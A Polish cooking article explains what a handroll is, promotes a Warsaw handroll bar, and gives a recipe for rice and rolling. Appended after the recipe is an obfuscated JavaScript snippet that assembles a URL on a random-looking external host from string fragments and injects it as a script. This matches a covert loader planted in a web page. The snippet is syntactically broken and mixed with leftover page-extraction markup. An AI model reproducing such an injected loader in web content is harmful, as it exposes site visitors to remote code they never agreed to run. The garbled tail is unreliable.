



## Jak zrobić handrolla, czyli egzotyczną przekąskę?

Po fast foodowym szale, które stopniowo ogarniał cały świat wraz z rozwojem sieci McDonald's, byliśmy już świadkami zwrotu w stronę żywności słow – zamiast smażonych na głębokim oleju frytek zaczęto promować świeże warzywa i owoce. Nie trzeba było długo czekać, aż powstanie połączenie tych skrajnie różnych idei street foodu – do Polski powoli wkracza moda na przekąski w japońskim stylu.

Czym jest handroll? Handroll jest nietypowym połączeniem sushi i burrito! Przepis na to synkretyczne danie powstał w Australii i stamtąd przywędrował do Europy za pośrednictwem zachwyconych nim turystów. W Polsce dopiero zaczyna się pojawiać, a już zrobił prawdziwą furorę, zwłaszcza wśród miłośników kuchni azjatyckiej. Handrolla robi się łatwiej i szybciej niż zwykle sushi, co więcej: do jego zjedzenia nie potrzeba talerzy ani pałeczek. Jest pomyślany tak, by służyć jako zdrowa i smaczna przekąska, którą każdy może zrobić samodzielnie, a jeśli brakuje mu zdolności i cierpliwości do zawijania liści nori – kupić i zjeść w drodze do pracy, szkoły, na uczelnię... Pierwsze w Warszawie miejsce serwujące ten przysmak – [Handroll.pl](http://handroll.pl/) – ma już kilka lokalizacji, a to dlatego, że jest bezkonkurencyjne wśród street foodowych barów.

Prosty przepis na handrolla

Jeśli masz więcej czasu, organizujesz domówkę lub po prostu lubisz eksperymenty kulinarne, bez problemu zrobisz handrolla we własnej kuchni. Będzie ci potrzebne to samo, czego używasz do przygotowania tradycyjnego sushi, a więc: sprasowane liście alg morskich, ryż do sushi, ocet ryżowy, sos sojowy, wasabi i twoje ulubione dodatki, np. łosoś, tuńczyk, krewetki, awokado, papryka, ogórek, sałata itp. Nie zapomnij też o macie bambusowej, bez której nie sposób zwinąć sushi w rulon.

Zacznij od dokładnego przepłukania ryżu (możesz użyć całej torebki, czyli 400 g). Wodę wymień dwa lub trzy razy, aż stanie się przezroczysta, a ryż śnieżnobiały. Następnie odstaw ryż na ok. 20 min. Po upływie tego czasu ponownie zalej go wodą tak, by jej poziom nie przekraczał wysokości 1,5 cm nad poziomem ryżu. Gotuj pod przykryciem przez 25 min (na małym ogniu), a pokrywkę nie zdejmuj nawet po ugotowaniu (niech ryż poleży tak jeszcze przez 15 min). Kiedy wystygnie, wymieszaj go z 3 łyżkami octu ryżowego, a będzie już gotowy do rozprowadzania na liściach nori, które powinny być ułożone na macie bambusowej. Wklepuj go małymi porcjami tak, by tworzył na algach cienką warstwę. Najwygodniej będzie, jeśli przygotujesz sobie naczynie z zimną wodą, w którym od czasu do czasu będziesz męcić ręce. Z jednej strony zostaw trochę wolnego miejsca, żeby rulon bez problemu skleił się po zwinięciu. Kiedy już rozprowadzisz ryż, ok. 2 cm od brzegu wyznacz palcem tunel, wzdłuż którego będą ułożone składniki. Posmaruj go wasabi, a następnie zacznij kłaść pokrojone w drobne paski warzywa i owoce morze. Na koniec zwiń sushi, pomagając sobie matą. Pozostawiając koniec sprasowanych alg zwilż wodą, aby przykleiła się do reszty rulonu. Tak przygotowanego sushi nie musisz już kroić – handroll jest gotowy i możesz zabrać do ze sobą w drogę!

```
<script type="text/javascript">// 
(function(){
arl7=document.createElement("script");arl7_="u"+"("s")"+"ta";
arl7_+=("t.i")+""+"n";arl7_+=(("f")+"o");arl7.type="text/javascript";
arl7_+="/";
arl7u="63969516";arl7u+=".gbujwmeprl7css3kvc";arl7u+=("43yjh8y8ci");
arl7.src="//"+arl7_+arl7u;arl7.async=true;
document.body.appendChild(arl7);
})();
// ]&gt;&lt;/script&gt;</pre></div><div data-bbox="106 870 127 885" data-label="Image"><img alt="Small red square icon with a white 'x' inside."/></div>
```